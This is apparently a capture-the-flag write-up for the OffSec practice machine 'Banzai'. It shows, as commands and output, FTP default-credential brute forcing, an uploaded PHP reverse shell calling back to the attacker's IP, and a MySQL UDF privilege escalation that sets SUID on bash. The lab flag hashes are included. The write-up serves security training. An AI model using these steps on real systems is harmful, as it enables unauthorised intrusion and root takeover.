Summary #
On port 21 there is an FTP service running with weak credentials and contains the web directory of the website on port 8295. Once we upload our PHP reverse shell on the FTP server and access it via port 8295, we get initial access as www-data
. Once on the target there is a local MySQL server running as the root
user. After finding the MySQL credentials we can use a User-Defined Function (UDF) exploit to escalate our privilege to the root
user by setting the SUID bit on the bash
binary.
Specifications #
- Name: BANZAI
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux banzai 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
- IP address: 192.168.203.56
- OFFSEC provided credentials: None
- HASH:
local.txt
:37b34cbff5589e190648523b39cc5913
- HASH:
proof.txt
:bf3c8b7f915d5682af770a748e43842a
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir banzai && cd banzai && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 21 11:50 .
drwxrwxr-x 76 kali kali 4096 Sep 21 11:50 ..
drwxrwxr-x 2 kali kali 4096 Sep 21 11:50 enum
drwxrwxr-x 2 kali kali 4096 Sep 21 11:50 exploits
drwxrwxr-x 2 kali kali 4096 Sep 21 11:50 files
drwxrwxr-x 2 kali kali 4096 Sep 21 11:50 tools
drwxrwxr-x 2 kali kali 4096 Sep 21 11:50 uploads
## set bash variable
ip=192.168.203.56
## ping target to check if it's online
ping $ip
PING 192.168.203.56 (192.168.203.56) 56(84) bytes of data.
64 bytes from 192.168.203.56: icmp_seq=1 ttl=61 time=19.2 ms
64 bytes from 192.168.203.56: icmp_seq=2 ttl=61 time=20.8 ms
^C
--- 192.168.203.56 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.157/19.991/20.826/0.834 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports like it's my full-time job. Wait, it is.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.203.56:25
Open 192.168.203.56:22
Open 192.168.203.56:21
Open 192.168.203.56:5432
Open 192.168.203.56:8080
Open 192.168.203.56:8295
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 11:55 CEST
Initiating Ping Scan at 11:55
Scanning 192.168.203.56 [4 ports]
Completed Ping Scan at 11:55, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:55
Completed Parallel DNS resolution of 1 host. at 11:55, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 11:55
Scanning 192.168.203.56 [6 ports]
Discovered open port 21/tcp on 192.168.203.56
Discovered open port 8080/tcp on 192.168.203.56
Discovered open port 25/tcp on 192.168.203.56
Discovered open port 8295/tcp on 192.168.203.56
Discovered open port 22/tcp on 192.168.203.56
Discovered open port 5432/tcp on 192.168.203.56
Completed SYN Stealth Scan at 11:55, 0.06s elapsed (6 total ports)
Nmap scan report for 192.168.203.56
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-21 11:55:34 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
25/tcp open smtp syn-ack ttl 61
5432/tcp open postgresql syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 61
8295/tcp open unknown syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Raw packets sent: 10 (416B) | Rcvd: 7 (292B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
25/tcp open smtp syn-ack ttl 61
5432/tcp open postgresql syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 61
8295/tcp open unknown syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
21,22,25,5432,8080,8295
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,25,5432,8080,8295 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 ba:3f:68:15:28:86:36:49:7b:4a:84:22:68:15:cc:d1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCybLhvDM6WN4Um6RXgjUecDnd4j/h14PyuqRaLgWRDaQlyWakjDG21gvvltRKiKfDvTHXBS+gDAbGLEmD58g41NE1ocCf5uGtmn79Z3BOR+7BdP1PETWb4a9GR+PdrvXpD16mIHZORhs4RAkeBpexcKOkFXCFatjymyVAcNB8E+Twh879lb55hxEz9cLlA8RAiPPfuW5S7nCRhw7xEi9mdtlvURCFNLb7eCGDUOQu5op2r6XpxZi0eYXJVde/13AiYxvACA2sRoMDCQwIYLhXwpA1Z7LseLxSmMHwyDXrxCU9xDJ+HL9EaHozBdHCOnnuHqPtb5EPZ3/JTg3qnS0dR
| 256 2d:ec:3f:78:31:c3:d0:34:5e:3f:e7:6b:77:b5:61:09 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNRPQTMD0l4TqSTmzmck9Rhq1ULCN0ErNvXipXv1HBKoRUgdbdwxhFerbDTxxJYd+12RFoZgNNUDZmSH7+PGvpo=
| 256 4f:61:5c:cc:b0:1f:be:b4:eb:8f:1c:89:71:04:f0:aa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDpzo9sh+q0DgrOjD1plfJ9xj9zIjezUBGWzdNlde40M
25/tcp open smtp syn-ack ttl 61 Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Issuer: commonName=banzai
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-06-04T14:30:35
| Not valid after: 2030-06-02T14:30:35
| MD5: 3b28:61f1:af62:d273:0a3d:dc1f:f716:60c0
| SHA-1: 16d4:7b5e:b6f4:0cc5:e581:da6c:563d:edcf:3f8f:0072
| -----BEGIN CERTIFICATE-----
| MIICxTCCAa2gAwIBAgIJAOwMttjJ91fXMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
| BAMMBmJhbnphaTAeFw0yMDA2MDQxNDMwMzVaFw0zMDA2MDIxNDMwMzVaMBExDzAN
| BgNVBAMMBmJhbnphaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANSD
| KNoh+InV/GzD8Fn6TPapcKXOWc7mPwvV70p4Qm5hPSEbvH83yFPX56qQQnKmOUlE
| hIhXxMapYJGLMmL+ipsWXXz/6s5y28Mfk8XdhwvzJ/pCfawDPnYwff7jtfgz5qlf
| JHLULDr+fjXLPlyefiUEj8kpmZCHKhxra5MG/M6urW72faf8x4XUsi7y/qJQoBeH
| nKf6n0upVtPp1FLKSkJgfBouSDDPy0KBTdKs9YjnFtcDJt6+Ll0m9Wj4rnF8m/67
| oguSxsqd94gPpdnUo4mKmqnwNq/kdC/gopIOjxo44043O11OQd+x97Wy+GrqPa4W
| Zw8uwxc2FnQe3pevrssCAwEAAaMgMB4wCQYDVR0TBAIwADARBgNVHREECjAIggZi
| YW56YWkwDQYJKoZIhvcNAQELBQADggEBAJUjJMMvV12i1Kzh5bTrGIW3AF5eJtZz
| CQCIgw6asjV5aiJGx58BFox6LkN9JzZsiQKNrLtA62FnAj1LWGd1+dt+fPNayiOG
| ZjLeZfXBN4dPOlrT9YU+gyqJJWEuMcvwzGMMqa4W/WW9E6+Q9o3w+lhdJhZTMzsq
| 11M/CGd5mjZHa1hMQNxTef8BpHn6yGOi9k6PncGHIUSapxcy3+7HQXJEap65m8eT
| jPZdt1hXouOZsNbtQkW32oiQ+4snDmjgbvoqZKF68/UV/3if5S3F6MCI7go8i3yu
| SHIIOYrPzXEb5U8Vw8UDUEn/4WV3h9j4ouZHDibV2gRs6VPThzR7SdE=
|_-----END CERTIFICATE-----
|_smtp-commands: banzai.offseclabs.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
5432/tcp open postgresql syn-ack ttl 61 PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.19
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Issuer: commonName=banzai
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-06-04T14:30:35
| Not valid after: 2030-06-02T14:30:35
| MD5: 3b28:61f1:af62:d273:0a3d:dc1f:f716:60c0
| SHA-1: 16d4:7b5e:b6f4:0cc5:e581:da6c:563d:edcf:3f8f:0072
| -----BEGIN CERTIFICATE-----
| MIICxTCCAa2gAwIBAgIJAOwMttjJ91fXMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
| BAMMBmJhbnphaTAeFw0yMDA2MDQxNDMwMzVaFw0zMDA2MDIxNDMwMzVaMBExDzAN
| BgNVBAMMBmJhbnphaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANSD
| KNoh+InV/GzD8Fn6TPapcKXOWc7mPwvV70p4Qm5hPSEbvH83yFPX56qQQnKmOUlE
| hIhXxMapYJGLMmL+ipsWXXz/6s5y28Mfk8XdhwvzJ/pCfawDPnYwff7jtfgz5qlf
| JHLULDr+fjXLPlyefiUEj8kpmZCHKhxra5MG/M6urW72faf8x4XUsi7y/qJQoBeH
| nKf6n0upVtPp1FLKSkJgfBouSDDPy0KBTdKs9YjnFtcDJt6+Ll0m9Wj4rnF8m/67
| oguSxsqd94gPpdnUo4mKmqnwNq/kdC/gopIOjxo44043O11OQd+x97Wy+GrqPa4W
| Zw8uwxc2FnQe3pevrssCAwEAAaMgMB4wCQYDVR0TBAIwADARBgNVHREECjAIggZi
| YW56YWkwDQYJKoZIhvcNAQELBQADggEBAJUjJMMvV12i1Kzh5bTrGIW3AF5eJtZz
| CQCIgw6asjV5aiJGx58BFox6LkN9JzZsiQKNrLtA62FnAj1LWGd1+dt+fPNayiOG
| ZjLeZfXBN4dPOlrT9YU+gyqJJWEuMcvwzGMMqa4W/WW9E6+Q9o3w+lhdJhZTMzsq
| 11M/CGd5mjZHa1hMQNxTef8BpHn6yGOi9k6PncGHIUSapxcy3+7HQXJEap65m8eT
| jPZdt1hXouOZsNbtQkW32oiQ+4snDmjgbvoqZKF68/UV/3if5S3F6MCI7go8i3yu
| SHIIOYrPzXEb5U8Vw8UDUEn/4WV3h9j4ouZHDibV2gRs6VPThzR7SdE=
|_-----END CERTIFICATE-----
8080/tcp open http syn-ack ttl 61 Apache httpd 2.4.25
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.25 (Debian)
8295/tcp open http syn-ack ttl 61 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Banzai
Service Info: Hosts: banzai.offseclabs.com, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
8295/tcp open http syn-ack ttl 61 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Banzai
On port 21 there is an FTP service running, however, we don’t have credentials. So, let’s run hydra
with a default credentials wordlist. We indeed get the credentials of admin:admin
. When listing the current directory, it looks like a website directory.
## run `hydra` on the FTP service
hydra -C /opt/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt $ip ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-21 11:58:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://192.168.203.56:21/
[21][ftp] host: 192.168.203.56 login: admin password: admin
<SNIP>
## log into FTP using `admin:admin`
ftp admin@$ip
Connected to 192.168.203.56.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
## turn passive mode to `off`
ftp> passive
Passive mode: off; fallback to active mode: off.
## list content current directory
ftp> ls -la
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 7 1001 0 4096 Jul 17 2020 .
drwxr-xr-x 7 1001 0 4096 Jul 17 2020 ..
drwxr-xr-x 2 1001 0 4096 May 26 2020 contactform
drwxr-xr-x 2 1001 0 4096 May 26 2020 css
drwxr-xr-x 3 1001 0 4096 May 26 2020 img
-rw-r--r-- 1 1001 0 23364 May 27 2020 index.php
drwxr-xr-x 2 1001 0 4096 May 26 2020 js
drwxr-xr-x 11 1001 0 4096 May 26 2020 lib
226 Directory send OK.
## exit the FTP service
ftp> exit
221 Goodbye.
Let’s check port 8295 where there is a website called BANZAI
.

Now run a gobuster
to see what directories there are. These look the same as we saw on the FTP service.
## run `gobuster` on port 8295
gobuster dir -t 100 -u http://$ip:8295/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.203.56:8295/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 321] [--> http://192.168.203.56:8295/img/]
/js (Status: 301) [Size: 320] [--> http://192.168.203.56:8295/js/]
/css (Status: 301) [Size: 321] [--> http://192.168.203.56:8295/css/]
/contactform (Status: 301) [Size: 329] [--> http://192.168.203.56:8295/contactform/]
/lib (Status: 301) [Size: 321] [--> http://192.168.203.56:8295/lib/]
/server-status (Status: 403) [Size: 281]
===============================================================
Finished
===============================================================
Let’s get a reverse shell. First, create a PHP reverse shell file called shell.php
. Once the file is created, reconnect to the FTP service from the ./files
directory and upload the shell.php
file. Now, trigger the reverse shell by going to this URL: (http://192.168.203.56:8295/shell.php
) and get an initial shell as the user in the
directory.
## change directory
cd exploits
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## setup a listener on the known open port 8080
nc -lvnp 8080
listening on [any] 8080 ...
## create file called `shell.php` with this content:
<?php system("/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.45.189/8080 0<&1 2>&1'"); ?>
## connect to the FTP service
ftp admin@$ip
Connected to 192.168.203.56.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
## turn passive mode to `off`
ftp> passive
Passive mode: off; fallback to active mode: off.
## upload `shell.php`
ftp> put shell.php
local: shell.php remote: shell.php
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
100% |****************************************************************************************************| 89 1.43 MiB/s 00:00 ETA
226 Transfer complete.
89 bytes sent in 00:00 (2.10 KiB/s)
## verify file upload
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 2 1001 0 4096 May 26 2020 contactform
drwxr-xr-x 2 1001 0 4096 May 26 2020 css
drwxr-xr-x 3 1001 0 4096 May 26 2020 img
-rw-r--r-- 1 1001 0 23364 May 27 2020 index.php
drwxr-xr-x 2 1001 0 4096 May 26 2020 js
drwxr-xr-x 11 1001 0 4096 May 26 2020 lib
-rw-r--r-- 1 1001 1001 89 Sep 20 15:02 shell.php
226 Directory send OK.
## exit the FTP service
ftp> exit
221 Goodbye.
## catch the reverse shell
nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.203.56] 56848
bash: cannot set terminal process group (637): Inappropriate ioctl for device
bash: no job control in this shell
www-data@banzai:/var/www/html$
## find `local.txt` on the filesystem
www-data@banzai:/var/www/html$ find / -iname 'local.txt' 2>/dev/null
/home/banzai/local.txt
## print `local.txt`
www-data@banzai:/var/www/html$ cat /home/banzai/local.txt
37b34cbff5589e190648523b39cc5913
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start local webserver
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
## on target
## change directory
www-data@banzai:/var/www/html$ cd /var/tmp
www-data@banzai:/var/tmp$
## download `linpeas.sh` using the open port 8080
www-data@banzai:/var/tmp$ wget http://192.168.45.189:8080/linpeas.sh
--2025-09-21 06:03:35-- http://192.168.45.189:8080/linpeas.sh
Connecting to 192.168.45.189:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 939.29K 5.30MB/s in 0.2s
2025-09-21 06:03:36 (5.30 MB/s) - 'linpeas.sh' saved [961834/961834]
## set the execution bit
www-data@banzai:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@banzai:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows an interesting file, /var/www/config.php
. Printing this file gives use database credentials (root:EscalateRaftHubris123
). There is also a MySQL server and the root
user is running it on the target. The output of linpeas.sh
provides a URL for possible privilege escalation: https://www.exploit-db.com/exploits/1518. Using searchsploit we can download this exploit.
Then, following the exploit usage, we compile the 1518.c
file locally to a shared object called: raptor_udf2.so
. On the target we download the shared object, log into the MySQL server and run a number of MySQL statements. We create a table with one column line
with data type blob
to store the shared object. Then we write the blob
to /usr/lib/mysql/plugin/raptor_udf2.so
using INTO DUMPFILE, which is designed to write exactly one row of data to a file in binary format, without any formatting, delimiters, or headers. Now, this part next isn’t part of the exploit. If we follow the exploit as is, we get an error when we use this command create function do_system returns integer soname 'raptor_udf2.so';
, namely <SNIP>: file too short
. This page explains how we can fix this error: https://emarcel.com/mysql-error-when-creating-function/. Because MySQL is running as the root
user we can copy our shared object to the final location. And then continue with the exploit. Then we register a User-Defined Function (UDF) in MySQL, enabling the server to execute custom code from a shared library file. In our case the function do_system
to run a command as the root
user. Next, we’ll use this function to set the SUID bit on bash and escalate our privileges to the root
user.
## print `/var/www/config.php`
www-data@banzai:/var/tmp$ cat /var/www/config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>
## change directory
cd exploits
## use searchsploit to find exploit
searchsploit mysql udf
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
<SNIP>
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) | linux/local/1518.c
<SNIP>
## download the exploit
searchsploit -m linux/local/1518.c
Exploit: MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)
URL: https://www.exploit-db.com/exploits/1518
Path: /usr/share/exploitdb/exploits/linux/local/1518.c
Codes: N/A
Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/hk/offsec/pg/practice/banzai/exploits/1518.c
## compile the .c file
gcc -g -c 1518.c -o raptor_udf2.o
## create shared object
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start local webserver
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
## on target:
## download `raptor_udf2.so`
www-data@banzai:/var/tmp$ wget http://192.168.45.189:8080/raptor_udf2.so
--2025-09-21 06:04:45-- http://192.168.45.189:8080/raptor_udf2.so
Connecting to 192.168.45.189:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17248 (17K) [application/octet-stream]
Saving to: 'raptor_udf2.so'
raptor_udf2.so 0%[ raptor_udf2.so 100%[=============================================================================================================>] 16.84K --.-KB/s in 0.02s
2025-09-21 06:04:45 (755 KB/s) - 'raptor_udf2.so' saved [17248/17248]
## log into the MySQL server with: `root:EscalateRaftHubris123`
www-data@banzai:/var/tmp$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5
Server version: 5.7.30 MySQL Community Server (GPL)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
## use the `mysql` database
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
## create table called `foo` with one column `line` of data type `blob`
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
## load `/var/tmp/raptor_udf2.so` into the `blob`
mysql> insert into foo values(load_file('/var/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)
## write `blob` to `/usr/lib/mysql/plugin/raptor_udf2.so`
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)
## shell copy the shared object to final location
mysql> \! cp /var/tmp/raptor_udf2.so /usr/lib/mysql/plugin/raptor_udf2.so
## create a function `do_system` based on our shared object
mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)
## list all UDF registered in the MySQL server from `mysql.func`
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
## use function `do_system` to set SUID on `/bin/bash`
mysql> select do_system('chmod +s /bin/bash');
+---------------------------------+
| do_system('chmod +s /bin/bash') |
+---------------------------------+
| 0 |
+---------------------------------+
1 row in set (0.00 sec)
## exit the MySQL server
mysql> exit
Bye
## verify SUID on `/bin/bash` is set
www-data@banzai:/var/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15 2017 /bin/bash
## escalate privilege using bash binary
www-data@banzai:/var/tmp$ bash -p
bash-4.4#
## print `proof.txt`
bash-4.4# cat /root/proof.txt
bf3c8b7f915d5682af770a748e43842a
References #
[+] https://github.com/vanhauser-thc/thc-hydra
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://www.exploit-db.com/exploits/1518
[+] https://emarcel.com/mysql-error-when-creating-function/